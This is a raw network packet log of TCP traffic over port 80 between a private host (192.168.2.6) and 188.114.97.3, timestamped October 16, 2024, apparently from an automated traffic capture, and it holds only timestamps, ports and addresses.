                                                                                    Oct 16, 2024 10:58:11.435645103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435650110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435687065 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.435761929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435771942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.435807943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.435827017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.436642885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.436651945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.436661959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.436693907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.436702967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.436703920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.436731100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.436757088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.436883926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.436892986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.436949015 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.436960936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437017918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437027931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437027931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437040091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437058926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437074900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437083960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437105894 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437140942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437151909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437160969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437181950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437191963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437191963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437202930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437220097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437252045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437725067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437741995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437752962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437799931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437807083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437818050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437828064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.437850952 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.437868118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448021889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448096037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448107004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448123932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448132992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448143005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448153019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448163033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448174000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448209047 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448216915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448236942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448246956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448277950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448287964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448297977 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448337078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448460102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448503017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448513985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448542118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448554039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448560953 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448565960 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448592901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448609114 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448746920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448757887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448769093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448792934 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448808908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448815107 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.448821068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448832035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.448873043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.449023008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.449038982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.449063063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.449101925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.490386963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.490396023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.490447998 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.490464926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.490487099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.490498066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.490504980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.490528107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.490536928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.490578890 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.493745089 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.493777990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.493788958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.493793011 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.493824005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.493843079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.493854046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.493887901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.533848047 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.533857107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.533911943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.542849064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.542860985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.542871952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.542912006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.542943001 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.545564890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.545576096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.545588017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.545612097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.545636892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.545936108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546035051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546045065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546056986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546067953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546080112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546089888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.546092033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546117067 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.546134949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.546159029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546171904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546189070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546200037 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.546201944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.546212912 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.546226978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.546245098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549007893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549066067 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549083948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549096107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549107075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549118042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549134016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549143076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549154043 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549161911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549166918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549177885 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549207926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549216032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549226999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549237013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549259901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549263000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549273968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549274921 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549294949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549318075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549371958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549406052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.549426079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549436092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.549468994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.553685904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553699970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553715944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553725958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553735971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553746939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553759098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.553793907 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.553869963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553888083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553924084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.553978920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.553988934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.554011106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.554019928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.554020882 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.554045916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.554061890 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.555339098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555349112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555366039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555376053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555393934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555414915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.555433035 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.555705070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555747986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555757046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555794954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.555824995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555835009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555845022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.555866003 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.555881023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.556340933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556351900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556365967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556399107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556410074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556432009 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.556461096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.556605101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556648016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.556710958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556723118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556732893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556742907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556752920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.556765079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.556799889 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.567918062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.567928076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.567984104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.567997932 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568026066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568026066 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568043947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568054914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568064928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568079948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568104982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568203926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568212986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568224907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568243980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568263054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568322897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568334103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568342924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568386078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568417072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568444014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568454027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568461895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568479061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568496943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568526030 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568536997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568547010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568557978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568583965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568612099 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568638086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568720102 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568860054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568870068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568881035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568898916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568928957 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568928957 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.568963051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.568974018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.569006920 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.569092989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.569103956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.569113970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.569128990 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.569149971 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.609870911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.609888077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.609898090 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.609937906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.609941006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.609949112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.609991074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.609991074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.613044024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.613060951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.613128901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.613135099 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.613138914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.613149881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.613163948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.613195896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.660445929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.660456896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.660466909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.660476923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.660497904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.660526991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.660552979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.660562038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.660592079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.660618067 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.662872076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.662882090 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.662892103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.662954092 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663299084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663326979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663335085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663345098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663362980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663387060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663397074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663441896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663461924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663507938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663525105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663532972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663561106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663568974 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663579941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663590908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663634062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663664103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663674116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663682938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.663706064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.663722038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666354895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666366100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666376114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666421890 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666456938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666481018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666490078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666518927 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666526079 CEST8049735188.114.97.3192.168.2.6
